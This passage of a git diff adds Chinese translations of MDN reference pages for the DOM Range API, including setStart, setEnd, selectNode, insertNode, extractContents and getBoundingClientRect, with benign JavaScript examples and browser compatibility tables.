{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-deleteContents', 'Range.deleteContents()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/range/endcontainer/index.html b/files/zh-cn/web/api/range/endcontainer/index.html new file mode 100644 index 0000000000..f69106d61b --- /dev/null +++ b/files/zh-cn/web/api/range/endcontainer/index.html @@ -0,0 +1,105 @@ +--- +title: Range.endContainer +slug: Web/API/Range/endContainer +translation_of: Web/API/Range/endContainer +--- +
{{ApiRef("DOM")}}
+ +

Range.endContainer 是一个只读属性。它会返回{{domxref("Range")}}对象结束的{{domxref("Node")}}。如果要改变一个节点结束的位置,使用方法{{domxref("Range.setEnd()")}}或者相似的方法。

+ +

语法

+ +
endRangeNode = range.endContainer;
+
+ +

示例

+ +
var range = document.createRange();
+
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+endRangeNode = range.endContainer;
+
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-endcontainer', 'Range.endContainer')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-attr-endParent', 'Range.endContainer')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/range/endoffset/index.html b/files/zh-cn/web/api/range/endoffset/index.html new file mode 100644 index 0000000000..75b44934a1 --- /dev/null +++ b/files/zh-cn/web/api/range/endoffset/index.html @@ -0,0 +1,60 @@ +--- +title: Range.endOffset +slug: Web/API/Range/endOffset +tags: + - API + - DOM + - Range + - 属性 +translation_of: Web/API/Range/endOffset +--- +
{{ApiRef("DOM")}}
+ +

只读属性 Range.endOffset 返回代表 Range 结束位置在 {{domxref("Range.endContainer")}} 中的偏移值的数字。

+ +

如果 endContainer 的 {{domxref("Node")}} 类型为 {{domxref("Text")}}, {{domxref("Comment")}},或 {{domxref("CDATASection")}},偏移值是 endContainer 节点开头到 {{domxref("Range")}} 末尾的总字符个数。对其他类型的 {{domxref("Node")}} , endOffsetendContainer 开头到 {{domxref("Range")}} 末尾的总 {{domxref("Node")}} 个数。如需修改 endOffset 的值, 使用 {{domxref("Range.setEnd")}} 方法。

+ +

语法

+ +
endRangeOffset = range.endOffset;
+
+ +

示例

+ +
var range = document.createRange();
+
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+endRangeOffset = range.endOffset;
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-endoffset', 'Range.endOffset')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-attr-endOffset', 'Range.endOffset')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

浏览器兼容性

+ +

{{Compat("api.Range.endOffset")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/range/extractcontents/index.html b/files/zh-cn/web/api/range/extractcontents/index.html new file mode 100644 index 0000000000..0f3e83ced9 --- /dev/null +++ b/files/zh-cn/web/api/range/extractcontents/index.html @@ -0,0 +1,60 @@ +--- +title: Range.extractContents() +slug: Web/API/Range/extractContents +translation_of: Web/API/Range/extractContents +--- +

{{ApiRef("DOM")}}

+ +

Range.extractContents() 方法移动了{{ domxref("Range") }} 中的内容从文档树到{{ domxref("DocumentFragment") }}(文档片段对象)。

+ +

使用DOM事件添加的事件侦听器在提取期间不会保留。 HTML属性事件将按{{domxref("Node.cloneNode()")}}方法的原样保留或复制。 HTML id属性也会被克隆,如果提取了部分选定的节点并将其附加到文档中,则可能导致无效的文档。

+ +

克隆了部分选定的节点,以包括使文档片段有效所需的父标记。

+ +

Syntax

+ +
documentFragment = range.extractContents();
+
+ +

Example

+ +
var range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+var documentFragment = range.extractContents();
+document.body.appendChild(documentFragment);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-extractcontents', 'Range.extractContents()')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-extractContents', 'Range.extractContents()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.Range.extractContents")}}

+ + +

See also

+ + diff --git a/files/zh-cn/web/api/range/getboundingclientrect/index.html b/files/zh-cn/web/api/range/getboundingclientrect/index.html new file mode 100644 index 0000000000..4c10f536b0 --- /dev/null +++ b/files/zh-cn/web/api/range/getboundingclientrect/index.html @@ -0,0 +1,90 @@ +--- +title: Range.getBoundingClientRect() +slug: Web/API/Range/getBoundingClientRect +tags: + - API + - CSSOM View + - Method + - Range + - 域 + - 方法 + - 范围 +translation_of: Web/API/Range/getBoundingClientRect +--- +
{{ApiRef("DOM")}}{{SeeCompatTable}}
+ +

Range.getBoundingClientRect() 返回一个 {{ domxref("DOMRect") }} 对象,该对象将范围中的内容包围起来;即该对象是一个将范围内所有元素的边界矩形包围起来的矩形(译者注:关于边界矩形,可以参考 Minimum Bouding Rectangles)。

+ +

此方法可用于确定文本区域中选中的部分或光标的视窗坐标。关于返回值的详细信息,参见 {{domxref("Element.getBoundingClientRect()")}}。

+ +

语法

+ +
boundingRect = range.getBoundingClientRect()
+
+ +

示例

+ +

HTML

+ +
<div id="highlight"></div>
+<p>This example positions a "highlight" rectangle behind the contents of a range. The range's content <b>starts here</b> and continues on until it <b>ends here</b>. The bounding client rectangle contains everything selected in the range.</p>
+ +

CSS

+ +
#highlight {
+  background: yellow;
+  position: absolute;
+  z-index: -1;
+}
+
+p {
+  width: 200px;
+}
+ +

JavaScript

+ +
const range = document.createRange();
+range.setStartBefore(document.getElementsByTagName('b').item(0), 0);
+range.setEndAfter(document.getElementsByTagName('b').item(1), 0);
+
+const clientRect = range.getBoundingClientRect();
+const highlight = document.getElementById('highlight');
+highlight.style.left = `${clientRect.x}px`;
+highlight.style.top = `${clientRect.y}px`;
+highlight.style.width = `${clientRect.width}px`;
+highlight.style.height = `${clientRect.height}px`;
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('CSSOM View', '#dom-range-getboundingclientrect', 'Range.getBoundingClientRect()')}}{{Spec2('CSSOM View')}}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Range.getBoundingClientRect")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/range/getclientrects/index.html b/files/zh-cn/web/api/range/getclientrects/index.html new file mode 100644 index 0000000000..96de4d768a --- /dev/null +++ b/files/zh-cn/web/api/range/getclientrects/index.html @@ -0,0 +1,56 @@ +--- +title: Range.getClientRects() +slug: Web/API/Range/getClientRects +tags: + - API + - CSSOM + - 参考 + - 实验性 + - 方法 + - 范围 +translation_of: Web/API/Range/getClientRects +--- +
{{ApiRef("DOM")}}
+ +

Range.getClientRects() 方法返回一个 {{ domxref("DOMRect") }} 对象列表,表示 range 在屏幕上所占的区域。这个列表相当于汇集了范围中所有元素调用 {{ domxref("Element.getClientRects()") }} 方法所得的结果。

+ +

语法

+ +
rectList = range.getClientRects()
+
+ +

示例

+ +
range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+rectList = range.getClientRects();
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('CSSOM View', '#dom-range-getclientrects', 'Range.getClientRects()')}}{{Spec2('CSSOM View')}}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Range.getClientRects")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/range/index.html b/files/zh-cn/web/api/range/index.html new file mode 100644 index 0000000000..cc9fd2a207 --- /dev/null +++ b/files/zh-cn/web/api/range/index.html @@ -0,0 +1,163 @@ +--- +title: Range +slug: Web/API/Range +tags: + - API + - DOM + - Range +translation_of: Web/API/Range +--- +

{{ ApiRef() }}

+ +

Range 接口表示一个包含节点与文本节点的一部分的文档片段。

+ +

可以用 {{domxref("Document")}} 对象的 {{domxref("Document.createRange")}} 方法创建 Range,也可以用 {{domxref("Selection")}} 对象的 {{domxref("Selection/getRangeAt", "getRangeAt")}} 方法获取 Range。另外,还可以通过 {{domxref("Document")}} 对象的构造函数 {{domxref("Range.Range()", "Range()")}} 来得到 Range。

+ +

属性

+ +
+
{{domxref("Range.collapsed")}} {{readonlyInline}}
+
返回一个表示 Range 的起始位置和终止位置是否相同的{{domxref("Boolean", "布尔值")}}。
+
{{domxref("Range.commonAncestorContainer")}} {{readonlyInline}}
+
返回完整包含 startContainerendContainer 的、最深一级的{{ domxref("Node", "节点") }}。
+
{{domxref("Range.endContainer")}} {{readonlyInline}}
+
返回包含 Range 终点的{{ domxref("Node", "节点") }}。
+
{{domxref("Range.endOffset")}} {{readonlyInline}}
+
返回一个表示 Range 终点在 endContainer 中的位置的数字。
+
{{domxref("Range.startContainer")}} {{readonlyInline}}
+
返回包含 Range 开始的{{ domxref("Node", "节点") }}。
+
{{domxref("Range.startOffset")}} {{readonlyInline}}
+
返回一个表示 Range 起点在 startContainer 中的位置的数字。
+
+ +

构造器

+ +
+
{{ domxref("Range.Range()", "Range()") }} {{experimental_inline}}
+
返回一个以全局(global) {{domxref("Document")}} 作为起点与终点的 Range 对象。
+
+ +

方法

+ +

该接口没有继承的方法。

+ +

定位方法

+ +
+
{{ domxref("Range.setStart()")}}
+
设置 Range 的起点。
+
{{ domxref("Range.setEnd()")}}
+
设置 Range 的终点。
+
{{ domxref("Range.setStartBefore()")}}
+
以其它{{ domxref("Node", "节点") }}为基准,设置 Range 的起点。
+
{{ domxref("Range.setStartAfter()")}}
+
以其它{{ domxref("Node", "节点") }}为基准,设置 Range 的起点。
+
{{ domxref("Range.setEndBefore()")}}
+
以其它{{ domxref("Node", "节点") }}为基准,设置 Range 的终点。
+
{{ domxref("Range.setEndAfter()")}}
+
以其它{{ domxref("Node", "节点") }}为基准,设置 Range 的终点。
+
{{ domxref("Range.selectNode()")}}
+
使 Range 包含某个{{ domxref("Node", "节点") }}及其内容。
+
{{ domxref("Range.selectNodeContents()")}}
+
使 Range 包含某个{{ domxref("Node", "节点") }}的内容。
+
{{ domxref("Range.collapse()")}}
+
Range 折叠至其端点(boundary points,起止点,指起点或终点,下同)之一。
+
+ +

编辑方法

+ +

通过以下方法,可以从 Range 中获得节点,改变 Range 的内容。

+ +
+
{{ domxref("Range.cloneContents()")}}
+
返回一个包含 Range 中所有节点的{{ domxref("DocumentFragment", "文档片段") }}。
+
{{ domxref("Range.deleteContents()")}}
+
从{{ domxref("Document", "文档") }}中移除 Range 包含的内容。
+
{{ domxref("Range.extractContents()")}}
+
Range 的内容从文档树移动到一个{{ domxref("DocumentFragment", "文档片段") }}中。
+
{{ domxref("Range.insertNode()")}}
+
Range 的起点处插入一个{{ domxref("Node", "节点") }}。
+
{{ domxref("Range.surroundContents()")}}
+
Range 的内容移动到一个新的{{ domxref("Node", "节点") }}中。
+
+ +

其他方法

+ +
+
{{ domxref("Range.compareBoundaryPoints()")}}
+
比较两个 Range 的端点。
+
{{ domxref("Range.cloneRange()")}}
+
返回拥有和原 Range 相同的端点的克隆 Range 对象。
+
{{ domxref("Range.detach()")}}
+
Range 从使用状态中释放,改善性能。
+
{{ domxref("Range.toString()")}}
+
Range 的内容作为字符串返回。
+
+ +

Gecko 方法

+ +

下面的是 Mozilla 独有的、不被包含在 W3C DOM 标准中的 Range 方法。

+ +
+
{{ domxref("Range.compareNode()")}} {{ Obsolete_inline }}{{non-standard_inline}}
+
返回一个常量,表示{{ domxref("Node", "节点") }}是否在 Range 的前、后、中、外。
+
{{ domxref("Range.comparePoint()")}} {{experimental_inline}}
+
返回 -1、0、1,分别表示指定点(point)位于 Range 的前、中、后。
+
{{ domxref("Range.createContextualFragment()")}}{{experimental_inline}}
+
解析指定字符串(格式为 XML 或 HTML),并返回一个{{ domxref("DocumentFragment", "文档片段") }}。
+
{{ domxref("Range.getBoundingClientRect()") }} {{experimental_inline}}
+
返回单个 {{ domxref("ClientRect") }} 对象,which bounds the entire contents of theRange; this would be the union of all the rectangles returned by {{ domxref("range.getClientRects()") }}.
+
{{ domxref("Range.getClientRects()") }} {{experimental_inline}}
+
返回一个 {{ domxref("ClientRect") }} 对象的列表,that aggregates the results of {{ domxref("Element.getClientRects()") }} for all the elements in the Range.
+
{{ domxref("Range.intersectsNode()")}} {{experimental_inline}}
+
返回{{domxref("Boolean", "布尔值")}},表示指定{{ domxref("Node", "节点") }}是否横断 Range
+
{{ domxref("Range.isPointInRange()")}} {{experimental_inline}}
+
返回{{domxref("Boolean", "布尔值")}},表示指定点是否位于 Range 之中。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#interface-range', 'Range')}}{{Spec2('DOM WHATWG')}}Do not use RangeException anymore, use DOMException instead.
+ Made the second parameter of collapse() optional.
+ Added the methods isPointInRange(), comparePoint(),  and intersectsNode().
+ Added the constructor Range().
{{SpecName('DOM Parsing', '#extensions-to-the-range-interface', 'Extensions to Range')}}{{Spec2('DOM Parsing')}}Added the method createContextualFragment().
{{SpecName('CSSOM View', '#extensions-to-the-range-interface', 'Extensions to Range')}}{{Spec2('CSSOM View')}}Added the methods getClientRects() and getBoundingClientRect().
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-Interface', 'Range')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Range")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/range/insertnode/index.html b/files/zh-cn/web/api/range/insertnode/index.html new file mode 100644 index 0000000000..fa1c070c07 --- /dev/null +++ b/files/zh-cn/web/api/range/insertnode/index.html @@ -0,0 +1,119 @@ +--- +title: Range.insertNode() +slug: Web/API/Range/insertNode +translation_of: Web/API/Range/insertNode +--- +
{{ApiRef("DOM")}}
+ +

Range.insertNode() 是在{{domxref("Range")}}的起始位置插入节点的方法。

+ +

新节点是插入在 the Range起始位置。如果将新节点添加到一个文本 {{domxref("节点")}}, 则该节点在插入点处被拆分,插入发生在两个文本节点之间

+ +

如果新节点是一个文档片段,则插入文档片段的子节点。

+ +

Syntax

+ +
range.insertNode(newNode);
+
+ +

Parameters

+ +
+
newNode
+
The {{domxref("Node")}} to insert at the start of the range.
+
+ +

Example

+ +
range = document.createRange();
+newNode = document.createElement("p");
+newNode.appendChild(document.createTextNode("New Node Inserted Here"));
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.insertNode(newNode);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-insertnode', 'Range.insertNode()')}}{{Spec2('DOM WHATWG')}}No change
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-insertNode', 'Range.insertNode()')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}
+ {{CompatGeckoDesktop("14.0")}}[1]
9.09.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}
+ {{CompatGeckoDesktop("14.0")}}[1]
9.09.0{{CompatVersionUnknown}}
+
+ +

[1] Prior to Gecko 14.0 {{geckoRelease("14.0")}}, this method had no effect on collapsed ranges. Now it behaves as per the specification.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/range/intersectsnode/index.html b/files/zh-cn/web/api/range/intersectsnode/index.html new file mode 100644 index 0000000000..6c9d92406c --- /dev/null +++ b/files/zh-cn/web/api/range/intersectsnode/index.html @@ -0,0 +1,56 @@ +--- +title: Range.intersectsNode() +slug: Web/API/Range/intersectsNode +translation_of: Web/API/Range/intersectsNode +--- +
{{ApiRef("DOM")}} {{SeeCompatTable}}
+ +

Range.intersectsNode() 方法返回一个布尔值,表明其给定的 {{domxref("Node")}} 节点是否与{{domxref("Range")}}的范围相交

+ +

Syntax

+ +
bool = range.intersectsNode( referenceNode )
+
+ +

Parameters

+ +
+
referenceNode
+
与{{domxref("Range")}}做比较的{{domxref("Node")}}节点
+
+ +

Example

+ +
var range = document.createRange();
+
+range.selectNode(document.getElementsByTagName("div").item(0));
+var bool = range.intersectsNode(document.getElementsByTagName("p").item(0));
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-intersectsnode', 'Range.intersectNode()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Range.intersectsNode")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/range/range/index.html b/files/zh-cn/web/api/range/range/index.html new file mode 100644 index 0000000000..1cb97c1419 --- /dev/null +++ b/files/zh-cn/web/api/range/range/index.html @@ -0,0 +1,119 @@ +--- +title: Range() +slug: Web/API/Range/Range +translation_of: Web/API/Range/Range +--- +

{{ APIRef("DOM") }}{{seeCompatTable}}

+ +

构造函数 Range() 返回一个新创建的 {{domxref("Range")}} 对象,新创建的对象属于全局 {{domxref("Document")}} 对象。

+ +

语法

+ +
range = new Range()
+ +

示例

+ +

在下面的例子中,我们通过构造函数Range()创建了一个新的range,并且使用{{domxref("Range.setStartBefore()")}} 和{{domxref("Range.setEndAfter()")}} 分别设置了起始位置。然后,通过方法{{domxref("window.getSelection()")}}和{{domxref("Selection.addRange()")}}选中了选区range。

+ +

HTML

+ +
<p>First paragraph.</p>
+<p>Second paragraph.</p>
+<p>Third paragraph.</p>
+<p>Fourth paragraph.</p>
+ +

JavaScript

+ +
const paragraphs = document.querySelectorAll('p');
+
+// 创建 Range 对象
+const range = new Range();
+
+// Range 起始位置在段落2
+range.setStartBefore(paragraphs[1]);
+
+// Range 结束位置在段落3
+range.setEndAfter(paragraphs[2]);
+
+// 获取 selection 对象
+const selection = window.getSelection();
+
+// 添加光标选择的范围
+selection.addRange(range);
+ +

Result

+ +

{{EmbedLiveSample("Example")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range', 'Range.Range()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatNo}}15.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("24.0")}}{{CompatNo}}15.0{{CompatVersionUnknown}}
+
+ +

扩展

+ + diff --git a/files/zh-cn/web/api/range/selectnode/index.html b/files/zh-cn/web/api/range/selectnode/index.html new file mode 100644 index 0000000000..3d31d105a7 --- /dev/null +++ b/files/zh-cn/web/api/range/selectnode/index.html @@ -0,0 +1,61 @@ +--- +title: Range.selectNode() +slug: Web/API/Range/selectNode +translation_of: Web/API/Range/selectNode +--- +

{{ApiRef("DOM")}}

+ +

Range.selectNode() 方法将 {{domxref("Range")}} 设置为包含整个 {{domxref("Node")}} 及其内容。{{domxref("Range")}} 的起始和结束节点的父节点与 referenceNode 的父节点相同。

+ +

语法

+ +
range.selectNode(referenceNode);
+
+ +

参数

+ +
+
referenceNode
+
{{domxref("Range")}} 要包含的 {{domxref("Node")}}。
+
+ +

示例

+ +
var range = document.createRange();
+var referenceNode = document.getElementsByTagName("div").item(0);
+
+range.selectNode(referenceNode);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-range-selectnode', 'Range.selectNode()')}}{{Spec2('DOM WHATWG')}}无变化
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-selectNode', 'Range.selectNode()')}}{{Spec2('DOM2 Traversal_Range')}}初始规范
+ +

浏览器兼容性

+ +

{{Compat("api.Range.selectNode")}}

+ +
+ +

参见

+ + diff --git a/files/zh-cn/web/api/range/selectnodecontents/index.html b/files/zh-cn/web/api/range/selectnodecontents/index.html new file mode 100644 index 0000000000..6192db8697 --- /dev/null +++ b/files/zh-cn/web/api/range/selectnodecontents/index.html @@ -0,0 +1,105 @@ +--- +title: Range.selectNodeContents() +slug: Web/API/Range/selectNodeContents +tags: + - API + - DOM + - 方法 + - 范围 +translation_of: Web/API/Range/selectNodeContents +--- +

{{ApiRef("DOM")}}

+ +

Range.selectNodeContents() 方法用于设置 {{ domxref("Range") }},使其包含一个 {{ domxref("Node") }} 的内容。

+ +

{{ domxref("Range") }} 的起始和结束节点的父节点即为引用节点。 startOffset 为 0,  endOffset 则是引用节点包含的字符数或子节点个数。

+ +

语法

+ +
range.selectNodeContents(referenceNode);
+
+ +

参数

+ +
+
referenceNode
+
此 {{ domxref("Node") }} 中的内容被包含在 {{ domxref("Range") }} 中。
+
+ +

示例

+ +
range = document.createRange();
+referenceNode = document.getElementsByTagName("div")[0];
+range.selectNodeContents(referenceNode);
+
+ +

实时样例

+ +

这个例子让用户使用按钮选择或取消选择一个段落。{{domxref("Document.createRange()")}}、 Range.selectNodeContents() 和 {{domxref("Selection.addRange()")}} 用于选择内容。{{domxref("Window.getSelection()")}} 和 {{domxref("Selection.removeAllRanges()")}} 用于取消选择。

+ +

HTML

+ +
<p id="p"><b>Use the buttons below</b> to select or deselect the contents of this paragraph.</p>
+<button id="select-button">Select paragraph</button>
+<button id="deselect-button">Deselect paragraph</button>
+
+ +

JavaScript

+ +
const p = document.getElementById('p');
+const selectButton = document.getElementById('select-button');
+const deselectButton = document.getElementById('deselect-button');
+
+selectButton.addEventListener('click', e => {
+  // Clear any current selection
+  const selection = window.getSelection();
+  selection.removeAllRanges();
+
+  // Select paragraph
+  const range = document.createRange();
+  range.selectNodeContents(p);
+  selection.addRange(range);
+});
+
+deselectButton.addEventListener('click', e => {
+  const selection = window.getSelection();
+  selection.removeAllRanges();
+});
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-range-selectnodecontents', 'Range.selectNodeContents()')}}{{Spec2('DOM WHATWG')}}无变化
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-selectNodeContents', 'Range.selectNodeContents()')}}{{Spec2('DOM2 Traversal_Range')}}初始规范
+ +

浏览器兼容性

+ +

{{Compat("api.Range.selectNodeContents")}}

+ +

参见

+ +
+ + diff --git a/files/zh-cn/web/api/range/setend/index.html b/files/zh-cn/web/api/range/setend/index.html new file mode 100644 index 0000000000..0a59945e12 --- /dev/null +++ b/files/zh-cn/web/api/range/setend/index.html @@ -0,0 +1,120 @@ +--- +title: Range.setEnd() +slug: Web/API/Range/setEnd +tags: + - 范围对象 +translation_of: Web/API/Range/setEnd +--- +

Range.setEnd()方法用于设置 Range的结束位置。

+ +

 

+ +

如果结束节点类型是 Text, Comment, or CDATASection之一, 那么 endOffset指的是从结束节点算起字符的偏移量。 对于其他 Node 类型节点, endOffset是指从结束结点开始算起子节点的偏移量。

+ +

如果设置的结束点在起始点之上(在文档中的位置),将会导致选区折叠,起始点和结束点都会被设置为指定的结束位置。

+ +

 

+ +

语法

+ +
range.setEnd(endNode, endOffset);
+
+ +

参数

+ +
+
endNode
+
endNode用于设定 Range的结束位置。
+
endOffset
+
必须为不小于0的整数。表示从endNode的结束位置算起的偏移量。
+
+ +

例子

+ +
var range = document.createRange();
+var endNode = document.getElementsByTagName("p").item(3);
+var endOffset = endNode.childNodes.length;
+range.setEnd(endNode, endOffset);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-setend', 'Range.setEnd()')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-setEnd', 'Range.setEnd()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/range/setstart/index.html b/files/zh-cn/web/api/range/setstart/index.html new file mode 100644 index 0000000000..80c098ea98 --- /dev/null +++ b/files/zh-cn/web/api/range/setstart/index.html @@ -0,0 +1,112 @@ +--- +title: Range.setStart() +slug: Web/API/Range/setStart +translation_of: Web/API/Range/setStart +--- +

{{ApiRef("DOM")}}

+ +

 Range.setStart() 方法用于设置 {{ domxref("Range") }}的开始位置。

+ +

如果起始节点类型是 TextComment, or CDATASection之一, 那么 startOffset指的是从起始节点算起字符的偏移量。 对于其他 Node 类型节点, startOffset 是指从起始结点开始算起子节点的偏移量。

+ +

 如果设置的起始位点在结束点之下(在文档中的位置),将会导致选区折叠,起始点和结束点都会被设置为指定的起始位置。

+ +

语法

+ +
range.setStart(startNode, startOffset);
+
+ +

参数

+ +
+
startNode
+
{{ domxref("startNode") }} 用于设定 {{ domxref("Range") }}的起始位置。
+
startOffset 
+
 必须为不小于0的整数。表示从startNode的开始位置算起的偏移量。
+
+ +

例子

+ +
var range = document.createRange();
+var startNode = document.getElementsByTagName("p").item(2);
+var startOffset = 0;
+range.setStart(startNode,startOffset);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-setstart', 'Range.setStart()')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-setStart', 'Range.setStart()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/range/setstartbefore/index.html b/files/zh-cn/web/api/range/setstartbefore/index.html new file mode 100644 index 0000000000..ea8321583f --- /dev/null +++ b/files/zh-cn/web/api/range/setstartbefore/index.html @@ -0,0 +1,62 @@ +--- +title: Range.setStartBefore() +slug: Web/API/Range/setStartBefore +translation_of: Web/API/Range/setStartBefore +--- +
{{ApiRef("DOM")}}
+ +

Range.setStartBefore() 方法相对另一个 {{domxref("Node")}}来设置一个{{domxref("Range")}} 的开始位置. {{domxref("Range")}}的开始节点(focusNode)的父节点,和  referenceNode的父节点是同一个.

+ +

Syntax

+ +
range.setStartBefore(referenceNode);
+
+ +

Parameters

+ +
+
referenceNode
+
一个{{domxref("Range")}}新的开始位置上的{{domxref("Node")}}.
+
+ +

Example

+ +
var range = document.createRange();
+var referenceNode = document.getElementsByTagName("div").item(0);
+
+range.setStartBefore(referenceNode);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
